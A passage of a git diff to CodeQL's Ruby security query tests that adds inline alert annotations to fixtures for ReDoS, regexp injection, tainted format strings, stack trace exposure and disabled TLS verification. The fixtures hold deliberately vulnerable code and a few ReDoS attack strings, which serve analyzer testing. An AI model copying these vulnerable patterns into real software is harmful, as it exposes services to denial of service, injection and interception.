+bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/ # $ Alert
 
 # NOT GOOD; attack: "[" + "][".repeat(100) + "]!"
 # Adapted from Prototype.js (https://github.com/prototypejs/prototype), which
 # is licensed under the MIT license; see file Prototype.js-LICENSE.
-bad11 = /(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/
+bad11 = /(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/ # $ Alert
 
 # NOT GOOD; attack: "'" + "\\a".repeat(100) + '"'
 # Adapted from Prism (https://github.com/PrismJS/prism), which is licensed
 # under the MIT license; see file Prism-LICENSE.
-bad12 = /("|')(\\?.)*?\1/
+bad12 = /("|')(\\?.)*?\1/ # $ Alert
 
 # NOT GOOD
-bad13 = /(b|a?b)*c/
+bad13 = /(b|a?b)*c/ # $ Alert
 
 # NOT GOOD
-bad15 = /(a|aa?)*b/
+bad15 = /(a|aa?)*b/ # $ Alert
 
 # GOOD
 good7 = /(.|\n)*!/
 
 # NOT GOOD; attack: "\n".repeat(100) + "."
-bad16 = /(.|\n)*!/m
+bad16 = /(.|\n)*!/m # $ Alert
 
 # GOOD
 good8 = /([\w.]+)*/
 
 # NOT GOOD
-bad17 = Regexp.new '(a|aa?)*b'
+bad17 = Regexp.new '(a|aa?)*b' # $ Alert
 
 # GOOD - not used as regexp
 good9 = '(a|aa?)*b'
 
 # NOT GOOD
-bad18 = /(([\S\s]|[^a])*)"/
+bad18 = /(([\S\s]|[^a])*)"/ # $ Alert
 
 # GOOD - there is no witness in the end that could cause the regexp to not match
 good10 = /([^"']+)*/
 
 # NOT GOOD
-bad20 = /((.|[^a])*)"/
+bad20 = /((.|[^a])*)"/ # $ Alert
 
 # GOOD
 good10 = /((a|[^a])*)"/
 
 # NOT GOOD
-bad21 = /((b|[^a])*)"/
+bad21 = /((b|[^a])*)"/ # $ Alert
 
 # NOT GOOD
-bad22 = /((G|[^a])*)"/
+bad22 = /((G|[^a])*)"/ # $ Alert
 
 # NOT GOOD
-bad23 = /(([0-9]|[^a])*)"/
+bad23 = /(([0-9]|[^a])*)"/ # $ Alert
 
 # BAD - missing result
 bad24 = /(?:=(?:([!#\$%&'\*\+\-\.\^_`\|~0-9A-Za-z]+)|"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"))?/
@@ -122,55 +122,55 @@
 bad26 = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"\\])*)"/
 
 # NOT GOOD
-bad27 = /(([a-z]|[d-h])*)"/
+bad27 = /(([a-z]|[d-h])*)"/ # $ Alert
 
 # NOT GOOD
-bad27 = /(([^a-z]|[^0-9])*)"/
+bad27 = /(([^a-z]|[^0-9])*)"/ # $ Alert
 
 # NOT GOOD
-bad28 = /((\d|[0-9])*)"/
+bad28 = /((\d|[0-9])*)"/ # $ Alert
 
 # NOT GOOD
-bad29 = /((\s|\s)*)"/
+bad29 = /((\s|\s)*)"/ # $ Alert
 
 # NOT GOOD
-bad30 = /((\w|G)*)"/
+bad30 = /((\w|G)*)"/ # $ Alert
 
 # GOOD
 good11 = /((\s|\d)*)"/
 
 # NOT GOOD
-bad31 = /((\d|\w)*)"/
+bad31 = /((\d|\w)*)"/ # $ Alert
 
 # NOT GOOD
-bad32 = /((\d|5)*)"/
+bad32 = /((\d|5)*)"/ # $ Alert
 
 # BAD - \f is not handled correctly
-bad33 = /((\s|[\f])*)"/
+bad33 = /((\s|[\f])*)"/ # $ Alert
 
 # BAD - \v is not handled correctly
-bad34 = /((\s|[\v]|\\v)*)"/
+bad34 = /((\s|[\v]|\\v)*)"/ # $ Alert
 
 # NOT GOOD
-bad35 = /((\f|[\f])*)"/
+bad35 = /((\f|[\f])*)"/ # $ Alert
 
 # NOT GOOD
-bad36 = /((\W|\D)*)"/
+bad36 = /((\W|\D)*)"/ # $ Alert
 
 # NOT GOOD
-bad37 = /((\S|\w)*)"/
+bad37 = /((\S|\w)*)"/ # $ Alert
 
 # NOT GOOD
-bad38 = /((\S|[\w])*)"/
+bad38 = /((\S|[\w])*)"/ # $ Alert
 
 # NOT GOOD
-bad39 = /((1s|[\da-z])*)"/
+bad39 = /((1s|[\da-z])*)"/ # $ Alert
 
 # NOT GOOD
-bad40 = /((0|[\d])*)"/
+bad40 = /((0|[\d])*)"/ # $ Alert
 
 # NOT GOOD
-bad41 = /(([\d]+)*)"/
+bad41 = /(([\d]+)*)"/ # $ Alert
 
 # GOOD - there is no witness in the end that could cause the regexp to not match
 good12 = /(\d+(X\d+)?)+/
@@ -182,49 +182,49 @@
 good15 = /^([^>]+)*(>|$)/
 
 # NOT GOOD
-bad43 = /^([^>a]+)*(>|$)/
+bad43 = /^([^>a]+)*(>|$)/ # $ Alert
 
 # NOT GOOD
-bad44 = /(\n\s*)+$/
+bad44 = /(\n\s*)+$/ # $ Alert
 
 # NOT GOOD
-bad45 = /^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/
+bad45 = /^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/ # $ Alert
 
 # NOT GOOD
-bad46 = /\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}/
+bad46 = /\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}/ # $ Alert
 
 # NOT GOOD
-bad47 = /(a+|b+|c+)*c/
+bad47 = /(a+|b+|c+)*c/ # $ Alert
 
 # NOT GOOD
-bad48 = /(((a+a?)*)+b+)/
+bad48 = /(((a+a?)*)+b+)/ # $ Alert
 
 # NOT GOOD
-bad49 = /(a+)+bbbb/
+bad49 = /(a+)+bbbb/ # $ Alert
 
 # GOOD
 good16 = /(a+)+aaaaa*a+/
 
 # NOT GOOD
-bad50 = /(a+)+aaaaa$/
+bad50 = /(a+)+aaaaa$/ # $ Alert
 
 # GOOD
 good17 = /(\n+)+\n\n/
 
 # NOT GOOD
-bad51 = /(\n+)+\n\n$/
+bad51 = /(\n+)+\n\n$/ # $ Alert
 
 # NOT GOOD
-bad52 = /([^X]+)*$/
+bad52 = /([^X]+)*$/ # $ Alert
 
 # NOT GOOD
-bad53 = /(([^X]b)+)*$/
+bad53 = /(([^X]b)+)*$/ # $ Alert
 
 # GOOD
 good18 = /(([^X]b)+)*($|[^X]b)/
 
 # NOT GOOD
-bad54 = /(([^X]b)+)*($|[^X]c)/
+bad54 = /(([^X]b)+)*($|[^X]c)/ # $ Alert
 
 # GOOD
 good20 = /((ab)+)*ababab/
@@ -236,13 +236,13 @@
 good22 = /((ab)+)*/
 
 # NOT GOOD
-bad55 = /((ab)+)*$/
+bad55 = /((ab)+)*$/ # $ Alert
 
 # GOOD
 good23 = /((ab)+)*[a1][b1][a2][b2][a3][b3]/
 
 # NOT GOOD
-bad56 = /([\n\s]+)*(.)/
+bad56 = /([\n\s]+)*(.)/ # $ Alert
 
 # GOOD - any witness passes through the accept state.
 good24 = /(A*A*X)*/
@@ -251,13 +251,13 @@
 good26 = /([^\\\]]+)*/
 
 # NOT GOOD
-bad59 = /(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-/
+bad59 = /(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-/ # $ Alert
 
 # NOT GOOD
-bad60 = /(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-/
+bad60 = /(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-/ # $ Alert
 
 # NOT GOOD
-bad61 = /(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-/
+bad61 = /(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-/ # $ Alert
 
 # GOOD
 good27 = /(thisisagoddamnlongstringforstresstestingthequery|imanotherbutunrelatedstringcomparedtotheotherstring)*-/
@@ -269,58 +269,58 @@
 #good29 = /foo((\uDC66|\uDC67)|(\uDC68|\uDC69))*foo/
 
 # NOT GOOD (but cannot currently construct a prefix)
-bad62 = /a{2,3}(b+)+X/
+bad62 = /a{2,3}(b+)+X/ # $ Alert
 
 # NOT GOOD (and a good prefix test)
-bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/
+bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/ # $ Alert
 
 # GOOD
 good30 = /(a+)*[\S\s][\S\s][\S\s]?/
 
 # GOOD - but we fail to see that repeating the attack string ends in the "accept any" state (due to not parsing the range `[^]{2,3}`).
-good31 = /(a+)*[\S\s]{2,3}/
+good31 = /(a+)*[\S\s]{2,3}/ # $ Alert
 
 # GOOD - but we spuriously conclude that a rejecting suffix exists (due to not parsing the range `[^]{2,}` when constructing the NFA).
-good32 = /(a+)*([\S\s]{2,}|X)$/
+good32 = /(a+)*([\S\s]{2,}|X)$/ # $ Alert
 
 # GOOD
 good33 = /(a+)*([\S\s]*|X)$/
 
 # NOT GOOD
-bad64 = /((a+)*$|[\S\s]+)/
+bad64 = /((a+)*$|[\S\s]+)/ # $ Alert
 
 # GOOD - but still flagged. The only change compared to the above is the order of alternatives, which we don't model.
-good34 = /([\S\s]+|(a+)*$)/
+good34 = /([\S\s]+|(a+)*$)/ # $ Alert
 
 # GOOD
 good35 = /((;|^)a+)+$/
 
 # NOT GOOD (a good prefix test)
-bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/
+bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/ # $ Alert
 
 # NOT GOOD
-bad66 = /^ab(c+)+$/
+bad66 = /^ab(c+)+$/ # $ Alert
 
 # NOT GOOD
-bad67 = /(\d(\s+)*){20}/
+bad67 = /(\d(\s+)*){20}/ # $ Alert
 
 # GOOD - but we spuriously conclude that a rejecting suffix exists. 
-good36 = /(([^\/]|X)+)(\/[\S\s]*)*$/
+good36 = /(([^\/]|X)+)(\/[\S\s]*)*$/ # $ Alert
 
 # GOOD - but we spuriously conclude that a rejecting suffix exists. 
-good37 = /^((x([^Y]+)?)*(Y|$))/
+good37 = /^((x([^Y]+)?)*(Y|$))/ # $ Alert
 
 # NOT GOOD
-bad68 = /(a*)+b/
+bad68 = /(a*)+b/ # $ Alert
 
 # NOT GOOD
-bad69 = /foo([\w-]*)+bar/
+bad69 = /foo([\w-]*)+bar/ # $ Alert
 
 # NOT GOOD
-bad70 = /((ab)*)+c/
+bad70 = /((ab)*)+c/ # $ Alert
 
 # NOT GOOD
-bad71 = /(a?a?)*b/
+bad71 = /(a?a?)*b/ # $ Alert
 
 # GOOD
 good38 = /(a?)*b/
@@ -329,54 +329,54 @@
 bad72 = /(c?a?)*b/
 
 # NOT GOOD
-bad73 = /(?:a|a?)+b/
+bad73 = /(?:a|a?)+b/ # $ Alert
 
 # NOT GOOD - but not detected. 
 bad74 = /(a?b?)*$/
 
 # NOT GOOD
-bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/
+bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/ # $ Alert
 
 # NOT GOOD - but not detected
-bad77 = /^((a)+\w)+$/
+bad77 = /^((a)+\w)+$/ # $ Alert
 
 # NOT GOOD
-bad78 = /^(b+.)+$/
+bad78 = /^(b+.)+$/ # $ Alert
 
 # GOOD
 good39 = /a*b/
 
 # All 4 bad combinations of nested * and +
-bad79 = /(a*)*b/
-bad80 = /(a+)*b/
-bad81 = /(a*)+b/
-bad82 = /(a+)+b/
+bad79 = /(a*)*b/ # $ Alert
+bad80 = /(a+)*b/ # $ Alert
+bad81 = /(a*)+b/ # $ Alert
+bad82 = /(a+)+b/ # $ Alert
 
 # GOOD
 good40 = /(a|b)+/
 good41 = /(?:[\s;,"'<>(){}|\[\]@=+*]|:(?![\/\\]))+/
 
 # NOT GOOD
-bad83 = /^((?:a{|-)|\w\{)+X$/
-bad84 = /^((?:a{0|-)|\w\{\d)+X$/
-bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/
-bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/
+bad83 = /^((?:a{|-)|\w\{)+X$/ # $ Alert
+bad84 = /^((?:a{0|-)|\w\{\d)+X$/ # $ Alert
+bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/ # $ Alert
+bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/ # $ Alert
 
 # NOT GOOD 
 bad87 = /^((?:a{0,2}|-)|\w\{\d,\d\})+X$/
 
 # NOT GOOD
-bad88 = /^X(\u0061|a)*Y$/
+bad88 = /^X(\u0061|a)*Y$/ # $ Alert
 
 # GOOD
 good43 = /^X(\u0061|b)+Y$/
 
 # NOT GOOD
-bad88 = /X([[:digit:]]|\d)+Y/
+bad88 = /X([[:digit:]]|\d)+Y/ # $ Alert
 
 # NOT GOOD
-bad89 = /\G(a|\w)*$/
-bad90 = /\b(a|\w)*$/
+bad89 = /\G(a|\w)*$/ # $ Alert
+bad90 = /\b(a|\w)*$/ # $ Alert
 
 # NOT GOOD; attack: "0".repeat(30) + "!"
 # Adapated from addressable (https://github.com/sporkmonger/addressable)
@@ -387,5 +387,5 @@ module Bad91
   var_char_class = ALPHA + DIGIT + '_'
   var_char = "(?:(?:[#{var_char_class}]|%[a-fA-F0-9][a-fA-F0-9])+)"
   var = "(?:#{var_char}(?:\\.?#{var_char})*)"
-  bad91 = /^#{var}$/
+  bad91 = /^#{var}$/ # $ Alert
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref
index 5807dc56fa07..28e7aa939063 100644
--- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref
@@ -1 +1,2 @@
-queries/security/cwe-1333/PolynomialReDoS.ql
+query: queries/security/cwe-1333/PolynomialReDoS.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb
index 2f73209321f2..249b686fd334 100644
--- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb
+++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb
@@ -1,35 +1,35 @@
 class FooController < ActionController::Base
   def some_request_handler
     # A source for the data-flow query (i.e. a remote flow source)
-    name = params[:name]
+    name = params[:name] # $ Source
 
     # A vulnerable regex
     regex = /^\s+|\s+$/
 
     # Various sinks that match the source against the regex
-    name =~ regex         # NOT GOOD
-    name !~ regex         # NOT GOOD
-    name[regex]           # NOT GOOD
-    name.gsub regex, ''   # NOT GOOD
-    name.index regex      # NOT GOOD
-    name.match regex      # NOT GOOD
-    name.match? regex     # NOT GOOD
-    name.partition regex  # NOT GOOD
-    name.rindex regex     # NOT GOOD
-    name.rpartition regex # NOT GOOD
-    name.scan regex       # NOT GOOD
-    name.split regex      # NOT GOOD
-    name.sub regex, ''    # NOT GOOD
-    regex.match name      # NOT GOOD
-    regex.match? name     # NOT GOOD
+    name =~ regex # $ Alert // NOT GOOD
+    name !~ regex # $ Alert // NOT GOOD
+    name[regex] # $ Alert // NOT GOOD
+    name.gsub regex, '' # $ Alert // NOT GOOD
+    name.index regex # $ Alert // NOT GOOD
+    name.match regex # $ Alert // NOT GOOD
+    name.match? regex # $ Alert // NOT GOOD
+    name.partition regex # $ Alert // NOT GOOD
+    name.rindex regex # $ Alert // NOT GOOD
+    name.rpartition regex # $ Alert // NOT GOOD
+    name.scan regex # $ Alert // NOT GOOD
+    name.split regex # $ Alert // NOT GOOD
+    name.sub regex, '' # $ Alert // NOT GOOD
+    regex.match name # $ Alert // NOT GOOD
+    regex.match? name # $ Alert // NOT GOOD
 
     # Destructive variants
-    a = params[:b]
-    a.gsub! regex, ''     # NOT GOOD
-    b = params[:a]
-    b.slice! regex        # NOT GOOD
-    c = params[:c]
-    c.sub! regex, ''      # NOT GOOD
+    a = params[:b] # $ Source
+    a.gsub! regex, '' # $ Alert // NOT GOOD
+    b = params[:a] # $ Source
+    b.slice! regex # $ Alert // NOT GOOD
+    c = params[:c] # $ Source
+    c.sub! regex, '' # $ Alert // NOT GOOD
 
     # GOOD - guarded by a string length check
     if name.length < 1024
@@ -39,19 +39,19 @@ def some_request_handler
     # GOOD - regex does not suffer from polynomial backtracking (regression test)
     params[:foo] =~ /\A[bc].*\Z/
 
-    case name # NOT GOOD
+    case name # $ Sink // NOT GOOD
     when regex 
       puts "foo"
-    end
+    end # $ Alert
 
-    case name # NOT GOOD
+    case name # $ Sink // NOT GOOD
     in /^\s+|\s+$/ then 
       puts "foo"
-    end
+    end # $ Alert
   end
 
   def some_other_request_handle
-    name = params[:name] # source
+    name = params[:name] # $ Source // source
 
     indirect_use_of_reg /^\s+|\s+$/, name
 
@@ -59,22 +59,22 @@ def some_other_request_handle
   end
 
   def indirect_use_of_reg (reg, input)
-    input.gsub reg, '' # NOT GOOD
+    input.gsub reg, '' # $ Alert // NOT GOOD
   end
 
   def as_string_indirect (reg_as_string, input)
-    input.match? reg_as_string, '' # NOT GOOD
+    input.match? reg_as_string, '' # $ Alert // NOT GOOD
   end
 
   def re_compile_indirect 
-    name = params[:name] # source
+    name = params[:name] # $ Source // source
 
     reg = Regexp.new '^\s+|\s+$'
     re_compile_indirect_2 reg, name
   end
 
   def re_compile_indirect_2 (reg, input)
-    input.gsub reg, '' # NOT GOOD
+    input.gsub reg, '' # $ Alert // NOT GOOD
   end
 
   # See https://github.com/dependabot/dependabot-core/blob/37dc1767fde9b7184020763f4d0c1434f93d11d6/python/lib/dependabot/python/requirement_parser.rb#L6-L25
@@ -100,8 +100,8 @@ def re_compile_indirect_2 (reg, input)
   MARKER_EXPR = /(#{MARKER_EXPR_ONE}|\(\s*|\s*\)|\s+and\s+|\s+or\s+)+/
 
   def use_marker_expr 
-    name = params[:name] # source
+    name = params[:name] # $ Source // source
 
-    name =~ MARKER_EXPR 
+    name =~ MARKER_EXPR  # $ Alert
   end  
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb
index b6bf9570f4d0..e24e128fee29 100644
--- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb
+++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb
@@ -1,13 +1,13 @@
 module Foo 
-  def bar(x) 
+  def bar(x)  # $ Source
     # Run the /a+$/ regex on the input x.
-    match = x.match(/a+$/)
+    match = x.match(/a+$/) # $ Alert
   end
 
   protected
-    def baz(x)
-      match = x.match(/a+$/)
+    def baz(x) # $ Source
+      match = x.match(/a+$/) # $ Alert
 
-      match2 = x.match(/(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*Y$/)
+      match2 = x.match(/(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*Y$/) # $ Alert
     end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref
index 11c9e7230269..2623c876bf6c 100644
--- a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref
@@ -1 +1,2 @@
-queries/security/cwe-1333/RegExpInjection.ql
+query: queries/security/cwe-1333/RegExpInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb
index aca47e42e60c..469c084a75b1 100644
--- a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb
+++ b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb
@@ -1,26 +1,26 @@
 class FooController < ActionController::Base
   # BAD
   def route0
-    name = params[:name]
-    regex = /#{name}/
+    name = params[:name] # $ Source
+    regex = /#{name}/ # $ Alert
   end
 
   # BAD
   def route1
-    name = params[:name]
-    regex = /foo#{name}bar/
+    name = params[:name] # $ Source
+    regex = /foo#{name}bar/ # $ Alert
   end
 
   # BAD
   def route2
-    name = params[:name]
-    regex = Regexp.new(name)
+    name = params[:name] # $ Source
+    regex = Regexp.new(name) # $ Alert
   end
 
   # BAD
   def route3
-    name = params[:name]
-    regex = Regexp.new("@" + name)
+    name = params[:name] # $ Source
+    regex = Regexp.new("@" + name) # $ Alert
   end
 
   # GOOD - string is compared against a constant string
@@ -51,7 +51,7 @@ def route7
 
   # BAD
   def route8
-    name = params[:name]
-    regex = Regexp.compile("@" + name)
+    name = params[:name] # $ Source
+    regex = Regexp.compile("@" + name) # $ Alert
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref b/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref
index c8e1c80ec408..f688cc3f7e3f 100644
--- a/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref
@@ -1 +1,2 @@
-queries/security/cwe-134/TaintedFormatString.ql
+query: queries/security/cwe-134/TaintedFormatString.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb b/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb
index aa66a9aa4704..fb21b61c14f5 100644
--- a/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb
+++ b/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb
@@ -1,44 +1,44 @@
 class UsersController < ActionController::Base
 
   def show
-    printf(params[:format], arg) # BAD
-    Kernel.printf(params[:format], arg) # BAD
+    printf(params[:format], arg) # $ Alert // BAD
+    Kernel.printf(params[:format], arg) # $ Alert // BAD
     
     printf(params[:format]) # GOOD
     Kernel.printf(params[:format]) # GOOD
 
-    printf(IO.new(1), params[:format], arg) # BAD
-    Kernel.printf(IO.new(1), params[:format], arg) # BAD
+    printf(IO.new(1), params[:format], arg) # $ Alert // BAD
+    Kernel.printf(IO.new(1), params[:format], arg) # $ Alert // BAD
 
     printf("%s", params[:format]) # GOOD
     Kernel.printf("%s", params[:format]) # GOOD
     fmt = "%s"
     printf(fmt, params[:format]) # GOOD
 
-    printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE]
-    Kernel.printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE]
+    printf(IO.new(1), params[:format]) # $ Alert // GOOD [FALSE POSITIVE]
+    Kernel.printf(IO.new(1), params[:format]) # $ Alert // GOOD [FALSE POSITIVE]
     
-    str1 = Kernel.sprintf(params[:format], arg) # BAD
-    str2 = sprintf(params[:format], arg) # BAD
+    str1 = Kernel.sprintf(params[:format], arg) # $ Alert // BAD
+    str2 = sprintf(params[:format], arg) # $ Alert // BAD
 
     str1 = Kernel.sprintf(params[:format]) # GOOD
     str2 = sprintf(params[:format]) # GOOD
     
     stdout = IO.new 1
-    stdout.printf(params[:format], arg) # BAD
+    stdout.printf(params[:format], arg) # $ Alert // BAD
 
     stdout.printf(params[:format]) # GOOD
     
     # Taint via string concatenation
-    printf("A log message: " + params[:format], arg) # BAD
+    printf("A log message: " + params[:format], arg) # $ Alert // BAD
 
     # Taint via string interpolation
-    printf("A log message: #{params[:format]}", arg) # BAD
+    printf("A log message: #{params[:format]}", arg) # $ Alert // BAD
 
     # Using String#
-    "A log message #{params[:format]} %{foo}" % {foo: "foo"} # BAD
+    "A log message #{params[:format]} %{foo}" % {foo: "foo"} # $ Alert // BAD
 
     # String# with an array
-    "A log message #{params[:format]} %08x" % ["foo"] # BAD
+    "A log message #{params[:format]} %08x" % ["foo"] # $ Alert // BAD
   end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref
index c110f2b1765c..ebd3ae1cee14 100644
--- a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref
@@ -1 +1,2 @@
-queries/security/cwe-209/StackTraceExposure.ql
\ No newline at end of file
+query: queries/security/cwe-209/StackTraceExposure.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb
index dcdf5c1f22ca..19e0c7972cf7 100644
--- a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb
+++ b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb
@@ -3,19 +3,19 @@ class FooController < ApplicationController
   def show
     something_that_might_fail()
   rescue => e
-    render body: e.backtrace, content_type: "text/plain"
+    render body: e.backtrace, content_type: "text/plain" # $ Alert
   end
 
 
   def show2
-    bt = caller()
-    render body: bt, content_type: "text/plain"
+    bt = caller() # $ Source
+    render body: bt, content_type: "text/plain" # $ Alert
   end
 
   def show3
     not_a_method()
   rescue NoMethodError => e
-    render body: e.backtrace, content_type: "text/plain"
+    render body: e.backtrace, content_type: "text/plain" # $ Alert
   end
 
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-295/Excon.rb b/ruby/ql/test/query-tests/security/cwe-295/Excon.rb
index 8bdabc31cf28..08b754f380cb 100644
--- a/ruby/ql/test/query-tests/security/cwe-295/Excon.rb
+++ b/ruby/ql/test/query-tests/security/cwe-295/Excon.rb
@@ -3,31 +3,31 @@
 def method1
   # BAD
   Excon.defaults[:ssl_verify_peer] = false
-  Excon.get("http://example.com/")
+  Excon.get("http://example.com/") # $ Alert
 end
 
 def method2
   # BAD
   Excon.ssl_verify_peer = false
-  Excon.get("http://example.com/")
+  Excon.get("http://example.com/") # $ Alert
 end
 
 def method3(secure)
   # BAD
   Excon.defaults[:ssl_verify_peer] = (secure ? true : false)
-  Excon.get("http://example.com/")
+  Excon.get("http://example.com/") # $ Alert
 end
 
 def method4
   # BAD
   conn = Excon::Connection.new("http://example.com/", ssl_verify_peer: false)
-  conn.get
+  conn.get # $ Alert
 end
 
 def method5
   # BAD
   Excon.ssl_verify_peer = true
-  Excon.new("http://example.com/", ssl_verify_peer: false).get
+  Excon.new("http://example.com/", ssl_verify_peer: false).get # $ Alert
 end
 
 def method6
@@ -65,4 +65,4 @@ def method10
   # GOOD
   connection = Excon.new("foo")
   connection.get("bar")
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb b/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb
index 6c12db2c9e6e..1e298b82aebc 100644
--- a/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb
+++ b/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb
@@ -2,11 +2,11 @@
 
 # BAD
 connection = Faraday.new("http://example.com", ssl: { verify: false })
-response = connection.get("/")
+response = connection.get("/") # $ Alert
 
 # BAD
 connection = Faraday.new("http://example.com", ssl: { verify_mode: OpenSSL::SSL::VERIFY_NONE })
-response = connection.get("/")
+response = connection.get("/") # $ Alert
 
 # GOOD
 connection = Faraday.new("http://example.com")
@@ -32,7 +32,7 @@
 def verify_as_arg(host, path, arg)
     # BAD, due to the call below
     connection = Faraday.new(host, ssl: { verify: arg })
-    response = connection.get(path)
+    response = connection.get(path) # $ Alert
 end
 
 verify_as_arg("http://example.com", "/", false)
@@ -41,7 +41,7 @@ def verify_as_arg(host, path, arg)
 def verify_mode_as_arg(host, path, arg)
     # BAD, due to the call below
     connection = Faraday.new(host, ssl: { verify_mode: arg })
-    response = connection.get(path)
+    response = connection.get(path) # $ Alert
 end
 
